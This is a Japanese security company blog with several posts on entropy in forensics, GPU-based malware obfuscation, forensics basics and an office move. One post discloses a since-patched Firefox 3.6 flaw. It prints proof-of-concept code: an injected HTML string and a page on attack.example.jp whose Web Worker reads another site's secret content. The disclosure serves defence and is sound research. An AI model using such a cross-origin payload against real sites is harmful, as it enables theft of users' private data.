NetAgent Official Blog

　こんにちは、ネットエージェント株式会社の松本です。今回はフォレンジック分野におけるエントロピーについて話させていただこうと思います。

-----

　最近、フォレンジックの分野でもエントロピーという言葉を耳にすることが多くなってきた。エントロピーは本家CEIC2010で研究成果がプレゼンされ、フォレンジック調査ツールのEnCaseによって正式にサポートされるなど、フォレンジックの新しい技術として注目されつつある。また、日本でも株式会社Ji2が実施した技術セミナーの中で、近似ファイルの検出方法のひとつとして紹介されている。
　今回は、Guidance Software社の公開しているホワイトペーパー「Utilizing Entropy to Identify Undetected Malware」を参考に、フォレンジック分野におけるエントロピーについて簡単な紹介をしたいと思う。

　エントロピー (entropy) は、もともとは物質や熱の拡散の程度を表す熱力学上のパラメーターであるが、その概念は情報理論の分野にも応用されている。ここで紹介するのは後者の情報理論、とりわけフォレンジック調査で情報解析の手段として最近注目されつつあるエントロピーという概念である。
　情報理論におけるエントロピーとは、ウィキペディアを引用すると「あるできごと（事象）が起きた際、それがどれほど起こりにくいかをあらわす尺度」と説明できる。電子データは１バイト＝８ビットで構成される。それぞれのビットは０か１どちらかの値をとるため、１バイトのデータは２^８つまり２５６通りで表現される。
　情報理論としてのエントロピーは、電子データを２５６通りで表現されるバイトの集合とみなす。そして、そのバイト集合に偏りがある場合は、電子データが規則性のある状態、逆に偏りが存在しない場合はランダムな状態とみなす。そして、計算された電子データの"ランダムさ"は、「エントロピー値」という絶対値として表現される。エントロピー値は０から８の実数値をとり、低いほど対象データに規則性があり、高いほど完全なランダムに近い状態であることを表す。

　電子データの状態をエントロピー値で表現することにより、ストレージに存在する大量の情報を分類したり、特定データ間での近似を検証するのに役立つ。ご存知の通り、電子データは内容を閲覧するだけでも変化してしまう可能性がある。また、オリジナルデータに対し、意図的に変更を加えて検知を逃れるタイプのマルウェアやアンチフォレンジック手法が存在するため、オリジナルファイルと複製ファイルの近似を客観かつ定量的に表現することは、フォレンジック調査にとって非常に大きな意味がある。
　エントロピーはデータの状態を表現しており、対象データの一部を変更した場合、オリジナルデータとエントロピー値の変化の量には相関関係が存在する。これに対して、フォレンジックでデータの識別に用いられるMDやSHAなどのHashingと呼ばれる方法では、データとハッシュ値の変化量に相関関係が存在しないため、オリジナルファイルにどの程度の変更が加わったかに関して、客観的な判断を加えることはできない。
　この性質は、計算されたハッシュ値への攻撃に対して強いという意味においてHashingの長所でもあるが、ファイルの近似の検証という点においては、エントロピーに軍配が上がる。また、Hashingと比べ、計算コストが低くてすむため、大量のデータをすばやく検証するのにもエントロピーは向いている。
　注意すべき点として、エントロピー値は０から８の狭い幅で表現されるため、ファイルタイプによって値に傾向が現れてくる。テキストファイルのような、規則性の存在しやすいデータは低エントロピーに、逆に圧縮や暗号化ファイルのような、複雑で規則性の少ないデータは高いエントロピー値に偏る傾向がある。
　また、エントロピー値自体はデータのランダム状態を表現するに過ぎないため、偶然的に、内容が全く異なるデータが近いエントロピー値をもつこともありうる。したがって、フォレンジック調査などでエントロピーを採用する場合、エントロピー値以外の観点とあわせて、近似度をたしかなものにする工夫が必要である。たとえば、Guidance Software社が政府機関等に提供しているEnCase Cybersecurity Entropy Near-Match Analyzerでは、下記の要素を総合的に判断して、近似度を確認するとともに結果の信頼性を上げている。

　1. オリジナルファイルと対象ファイルのエントロピー値（とその差）
　2. ファイルタイプ
　3. オリジナルファイルと対象ファイルのファイルサイズ（とその差）

　これは先述した、ファイル種別によってエントロピー値に偏りが生じること、そしてデータとエントロピー値の変化の量に相関関係が存在すること、この2つの性質を利用している。

　今後エントロピーは様々な場面で応用されていくと思われる。既にメモリフォレンジックの分野でも株式会社Ji2の春山氏が自身のブログで発表している"Memory Forensic Toolkit"（2010年7月28日時点の最新バージョンは1.82）で、PsEntropyPEB, PsEntropyVADという形で実装されている（参照）。
　筆者自身もエントロピーをメモリフォレンジックに用いて面白いことができないか、色々試しているところなので、何か成果が出ればこのブログで報告したいと思う。

　みなさん、こんにちは。ネットエージェント株式会社 研究開発部の長谷川です。
　今週の水曜日に Mozilla Firefox 3.6.7 がリリースされましたが、このバージョンには私が発見した脆弱性(*1)の修正が含まれています。今日はその内容について説明したいと思います。

(*1) MFSA 2010-42: Web ワーカーの importScripts を通じたクロスサイトデータ漏えい

-----

■概要
　Mozilla Firefox 3.6.4 および 3.6.6 において、Web Workers と E4X の機能を組み合わせることで、細工されたHTMLページに被害者を誘導することにより、他のドメイン上のコンテンツを攻撃者が盗みだすことが可能になります。

■脆弱性を確認したバージョン
　Mozilla Firefox 3.6.4、3.6.6
　他のプロダクトおよびバージョンにおいても本脆弱性への対応がとられていますので、詳細はmozilla-japan.orgのセキュリティアナウンスをご確認ください。

■Web Workers
　Web Workers とは、JavaScript でマルチスレッドなコードを実行するためのHTML5関連API(*2)で、現在IEを除く主要なブラウザで実装されています。

(*2) Web Workers Draft Recommendation - WHATWG

var worker = new Worker( "webworker.js" );

worker.onmessage = function( event ){

    // Workerスレッドからのコールバック

    alert( event.data );

};

　このコードでは、HTMLと同一ディレクトリに存在する "webworker.js" 内のコードを新しいスレッドとして実行します。Web Worker のコンストラクタ Worker() では、same origin policy の制約があるため、HTMLと同じドメイン、同じポートにある JavaScript ファイルしかロードすることはできませんが、Workerスレッド内で importScripts というメソッドを使用することにより、この制約を超えて他のドメイン上にあるJavaScriptソースをロードできます。

/* webworker.js 内のコード */

importScripts( "http://external.example.jp/foo.js" );

　この例では、webworker.js とは異なるドメイン external.example.jp 上にある foo.js というコードをロードしています。

■E4X
　E4X とは、「ECMAScript for XML」の略であり、JavaScript や ActionScript などのECMAScript処理系において、XMLをネイティブ機能として扱うための仕様(*3)で、現在主要なブラウザの中では Mozilla Firefox でのみサポートされています。

(*3) Standard ECMA-357 ECMAScript for XML (E4X) Specification

　E4Xを利用すると、JavaScript内で文字列や数値と同じようにXMLを直接的に扱うことができます。

var xml = <person><name>Yosuke</name>

<mail>hasegawa@utf-8.jp</mail></person>;

alert( xml.name );

また、XML内の { } で囲まれた部分はJavaScriptとして解釈され実行されます。

var x = 3;

var xml = <s><item>{ x * 3 }</item></s>;

alert( xml.item );

　E4Xに関連したセキュリティ上の従来の問題点についての詳細は、［ニッチ］E4Xで攻撃できる？ できない？ － ＠ITの記事をご参照ください。

■実際の攻撃の詳細
　上で説明した、Web Workers と E4X を組み合わせることで攻撃が可能となります。
　攻撃者は、攻撃対象となるHTMLページ（内容を盗み読みたいHTMLページ）の一部をコントロールできるものとします。その場合に、以下のような形式となるよう攻撃対象のHTMLページに文字列を挿入します。
　div1 および div3 が攻撃者がコントロールした箇所、div2 は攻撃者は本来知り得ない機密情報が含まれる箇所です。

// http://target.example.jp/target.html

<html>

<body>

<div id="div1">{postMessage("</div>

<div id="div2">secret text here</div>

<div id="div3">")}</div>

</body>

</html>

　HTMLをこのような形式とすることで、HTMLをJavaScriptのコードとしても読み込み可能なものとします。E4X の機能を使っていますので、JavaScript として解釈すると、{ } で囲まれた中が実行され、postMessage関数に機密情報を含む文字列を引数として渡していることがわかると思います。
　次に、攻撃者は以下のような罠となるWebページとJavaScriptファイルを用意します。

// http://attack.example.jp/index.html

<html>

<head>

<script>

    function foo(){

        worker = new Worker( "webworker.js" );

        worker.onmessage = function( event ){

            document.getElementById( "div1" ).innerHTML = event.data;

        }

    }

</script>

</head>

<body onload="javascript:foo()">

<div id="div1"></div>

</body>

</html>

// http://attack.example.jp/webworker.js

importScripts( "http://target.example.jp/target.html" );

　この罠ページに被害者がアクセスすると、Web Workers の Worker スレッドから先ほどの target.html が読み込まれ、target.html 内の機密情報が罠ページ内のworker.onmessageメソッドに引き渡されます。
　これにより、攻撃者は target.html 内の機密情報を取得することができました。

■実際の影響範囲
　この手法で攻撃を成功させるには、攻撃対象となるHTMLファイルについて以下のような条件が必要となります。

　1. HTMLファイルに攻撃者自身が"postMessage"等の文字列を挿入できる
　2. 攻撃者が文字列を挿入してもE4Xとして適切なフォーマットを維持できている
　3. HTMLファイルにXML宣言やDOCTYPE宣言がない

　実際には、このような条件を満たすようなHTMLファイルはそれほど多くないため、現実にこの手法を利用した攻撃の対象となるWebアプリケーションというのはそれほど多くないと思います。

■修正内容
　Mozilla Firefox の修正については、importScripts メソッドで読み込んだJavaScriptファイルが単一のXMLオブジェクトであった場合にはエラーとするような実装になったようです。これは、<script> 要素によってHTMLをJavaScriptとして読み込んだ場合(*4)の挙動と同様であり、通常のHTMLファイルをJavaScriptとして扱わないようにするためとしては、副作用も小さい方法だと思います。

(*4) Bug 375250 - Reject (JSON is fixed now) E4X masquerading as JS source

■さいごに
　今回のような脆弱性は、発見に際して技術的な難易度というのは全くありませんが、HTML5のように新しく導入された様々な新機能と、E4Xのようにマイナーながらも旧来から存在する機能を組み合わせることで新たに脆弱性を作り出す、いわば「ひらめき」のような能力が必要となります。
　この「ひらめき」は、過去の類似の脆弱性だけでなく、ブラウザの細かな機能や挙動といった、手持ちの札が多いほど有利になると私自身は考えています。そのためにも、今後もHTML5をはじめ様々なブラウザの機能についてより一層、調査研究を続けていきたいと思います。

-----

●お知らせ
　ネットエージェントではこの夏、初のインターンシップを開催することとなりました。一歩進んだセキュリティや暗号解析、生のパケットに興味のある学生のみなさんのご参加をお待ちしております。
　詳細はこちらをご覧ください。

　この度、ネットエージェント株式会社は、本社オフィスを移転致しました。
　これを機に社員一同、より一層の努力をして参りますので、今後とも何卒倍旧のご愛顧を賜りますようお願い申し上げます。

　事務所移転先と、新連絡先につきましてのは下記の通りです。

　移転先新住所：
　　〒130-0022　　
　　東京都墨田区江東橋 4-26-5 東京トラフィック錦糸町ビル 9F

　新連絡先：
　　Tel：03-5625-1243（代表）
　　Tel：03-5625-1245（営業部直通）
　　Tel：03-5625-1244（サポート直通）
　　Fax：03-5625-9008（東京本社共通）

　2010年7月20日（火）より、新事務所にて業務開始致しております。

　新事務所では、セミナールームを常設し、各種セミナーや勉強会等も積極的に開催したいと考えております。 今後とも、宜しくお願い申し上げます。

　はじめまして、ネットエージェント株式会社、取締役の愛甲健二と申します。今後、このブログにて主に技術的な内容について書かせていただきたいと考えていますので、ぜひよろしくお願いいたします。
　今日はGPGPUについて少し紹介させていただきたく思います。

-----

　GPU（Graphics Processing Unit）は画像処理を専門とする演算装置ですが、この演算資源をより汎用的なプログラム処理に応用しようという技術のことをGPGPU（General-purpose computing on GPUs）と呼びます。
　GPUはCPUとは異なる命令セットを持つため、CPUと同じ感覚でGPUへ処理を渡すことは難しいですが、近年はCUDAを初めとするGPGPU用のライブラリがいくつか提供されており、より手軽にGPUを利用できます。
　CUDAを用いて作られた実行ファイルは、内部にGPU用の命令コード（正確にはCUDA用の命令コード:PTX）を持ちます（右図参照）。

　この命令コードはCUDAライブラリ内部で各GPUの命令コードへ変換され、GPU用のメモリ空間へコピーされ、CPUからGPUへ処理の開始通知が送られてからGPUが命令コードを実行します。実行結果は再びGPU用のメモリから普通のメモリ（主記憶）へコピーされます。
　CUDAの場合は、GPUリソースへのアクセスはすべてDLL（cutil32.dll等のCUDAライブラリ）が請け負ってくれますので、関数を呼び出すだけでGPUを利用できます。

　GPU側の処理は、デバッガを使って動的に実行状態を追いかけることをはじめ、命令コード自体の解析が困難という特徴があるため、新しい難読化の手法としてGPUを用いた方法が出現しています。具体的には、2008年にDaniel Reynaud氏がセキュリティカンファレンスruxcon 2008にて「GPU Powered Malware」というプレゼンテーションを発表しました。これは、まだ有用なGPU用のデバッガやエミュレータが開発されていない現状においては、GPUを使ったソフトウェアの解析は非常に困難であり、それがマルウェアの進化に影響を及ぼす、という内容でした。
　もちろん、2010年の現在においても、GPU用命令コードの解析環境が十分に整っているとは言い難く、マルウェアを解析する側としても辛いところですが、ことCUDAに関してはdecudaと呼ばれる逆アセンブラがすでに存在します。
　decudaはCUDA用のアセンブリ言語であるPTXを出力します。試しにCUDAで作成した実行ファイルを逆アセンブルしてみます。

$ python decuda.py TEST.cubin

000000: 1000c801 0423c780 mov.b32 $r0, s[0x0010]

000008: d00e000d 80c00780 mov.u32 $r3, g[$r0]

000010: 100d8009 0ccccccf mov.b32 $r2, 0xcccccccd

000018: a0000605 04114780 cvt.rn.abs.u32.s32 $r1, $r3

000020: 40050411 00000780 mul24.lo.u32.u16.u16 $r4, $r1.lo, $r2.hi

000028: 60040611 000107c0 mad24.lo.u32.u16.u16.u32 $p0|

                          $r4, $r1.hi, $r2.lo, $r4

000030: 30100815 c4100780 shl.u32 $r5, $r4, 0x00000010

000038: 30100811 e4100780 shr.u32 $r4, $r4, 0x00000010

000040: 600405fd 000147d8 mad24.lo.u32.u16.u16.u32 $p1|

                          $o127, $r1.lo, $r2.lo, $r5

000048: 21000811 04400880 @$p0.cf add.u32 $r4, $r4, c1[0x0000]

000050: 60050605 0c011780 mad24c1.lo.u32.u16.u16.u32 $r1, 

                          -$r1.hi, $r2.hi, -$r4

000058: 30020205 ec100780 shr.s32 $r1, $r1, 0x00000002

000060: 307c07fd 6c0047c8 set.lt.s32 $p0|$o127, $r3, $r124

000068: 30008209 00000003 subr.b32 $r2, $r1, 0x00000000

000070: 10000405 0403c280 @$p0.ne mov.b32 $r1, $r2

000078: d00e0005 a0c00781 mov.end.u32 g[$r0], $r1

　見ての通りx86系CPUとは異なります。上記のコードは、以下のC言語のプログラムをコンパイルして逆アセンブルした結果です。

__global__ void cudaKernel(int *gpu)

{

    gpu[0] /= 0x05;

}

　また最近になって、NVIDIAは「NVIDIA Parallel Nsight」と呼ばれるGPU用デバッガを開発、リリースしています。これはVisual Studio上でCUDAのカーネル（GPU用コード）を動的デバッグできるというもので、これを使えるならばよりGPUの解析が容易になると思います。

　GPUを用いる場合は、どこかに必ずGPU用の命令コードを持たなければならないため、解析不可能という状態にはならないと思いますが、ただCPUとは様々な部分で仕様が異なりますので、実際問題、GPUを本格的に使われると解析は難しくなります。
　また、GPUは専用のメモリ空間を持つので、データを隠す場所という意味でも利用できるかもしれません。メモリフォレンジックの観点になりますが、GPU用メモリは通常の方法ではメモリダンプできないため、この点においても今後リサーチが進むかもしれません。
　このように、GPUを利用したソフトウェアの解析技術については、まだまだ発展途上であるため、今後も継続して調査研究を続けていきたいと思います。

　みなさんはじめまして、ネットエージェント株式会社の松本隆と申します。私はフォレンジックエバンジェリストという肩書きで活動しておりまして、デジタル・フォレンジック技術の研究と啓発活動が主な業務となっています。
　私からはデジタル・フォレンジックに関わる、主に技術的な内容について、なるべく分かりやすい形でお話させていただければと思っておりますので、どうぞよろしくお願いいたします。
　今回はフォレンジックの第一回目ということで、基本の「ファイル」と「ファイルシステム」、それと「フォレンジック」の関係について少しお話させていただければと思います。

-----

　今、あなたがこのブログを読んでいる環境は何であろうか。会社のデスクもしくは自宅に据え付けられたPCかもしれないし、もしかしたら移動途中の電車から携帯端末でアクセスしているかもしれない。ブラウザの設定にもよるが、基本的には一旦ハードディスクのテンポラリ（一時作業）領域にキャッシュされ、キャッシュファイルがコンピュータのメモリに読み込まれ画面に表示される。
　このキャッシュファイルはユーザによる明示的な操作や、ブラウザのキャッシュ管理ポリシーに従って、決められた手続きに従ってファイルシステムを操作することにより、削除状態となる。

　ファイルシステムとは「記憶装置に記録されているデータの管理方式」である。おおまかに言えば、ファイルシステムに管理されるいくつかのデータブロックの集合がファイルである。分かりにくいと思われる方は、手近な本を手にとってもらえないだろうか。
　あなたが手にした本は立派な表紙とカバーで装飾され、タイトルと作者が分かりやすく記載されていることだろう。裏表紙やオビには本の概要が書かれており、一目でこれがどのような内容の本かを判断することができる。
　中をめくるとページ番号が振られており、目次ページには章ごとのタイトルやページ番号が振られている。試しにその番号までページを進めてみると、目次に記載されていた通りの内容を発見することができるだろう。

　先ほどのファイルとファイルシステムを本で例えるとすれば、本全体がファイルシステムであり、ページの集合である章がファイルであるといえる。本は表紙や目次などの索引と、ページを意味のある順番に並べることによってページを管理している。言い換えれば、各ページは本によって適切に並べられ管理されることによって、はじめて読み手にとって意味のあるデータのかたまりになるのだ。

　だがもし、この本を裁断したうえでページ番号を削除し、順番をメチャクチャに並び替えてしまったらどうなるだろうか。あなたは大量の紙の中から、何の手がかりもないままページを元の状態に並べなくてはならなくなる。もしかしたら裁断の際に誤って大切なページを紛失しているかもしれないが、異変に気づくのはおそらくずっと後、全てのページを並べ終えてからになるだろう。

　フォレンジックの作業は、図書館の中で目的の本や、特定の項目が記載されたページを探すのに似ている。図書館には膨大な本があり、科目ごとに分類され、書架に整理されている。ただし目的の本は手違いで（もしくは意図的に）別の棚に紛れているかもしれないし、別の図書館に移動されているかもしれない。最悪の場合、既に廃棄されて本が存在しない可能性だってある。もし運よく発見できたとしても、悪質なユーザによって大切なページが破られているかもしれない。

　しかしそのような状況であっても、実はあなたにやれることはたくさんある。図書館のデータベースを検索することによって、過去に目的の本が存在していた事実を確認することは可能であるし、最終貸出者の名前や貸出日時をチェックすることだってできる。
　また、データベースからタイトルと出版社、版番号が特定できれば、もしかしたら同じ内容の本を入手することだってできるかもしれない。廃棄された本がまだゴミ置き場に存在するなら、急いで確保することによって可能な限り復元することもできるだろう。

　ただ、あなたが無事に目的のデータを確保できたとして、ひとつだけ気をつけて欲しい点がある。フォレンジック調査で最も重要なのは、ファイルやファイルシステムをハッキングして調査の手がかりを得ることではなく、いかに証拠を汚染せずに取り扱うかであるということだ。
　図書館で目的の本を発見できたとしても、調査をするあなた自身が誤ってページを破ってしまったり、別の本と取り違えてしまったり、ラボに持ち帰る手続きの中で、最終貸出者と最終貸出日付欄を上書きしてしまっては目も当てられない。

　電磁的証拠の適切な取り扱いに関しては、特定非営利活動法人デジタル・フォレンジック研究会の「証拠保全ガイドライン　第１版」が非常に参考になる。
　このガイドラインは海外の関連ガイドラインを参考に、わが国の独自性などを反映させた内容になっており、賛否はあるだろうが現場で証拠を取り扱う際に準備すべきもの、留意すべきポイントなどの一つの指標になるだろう。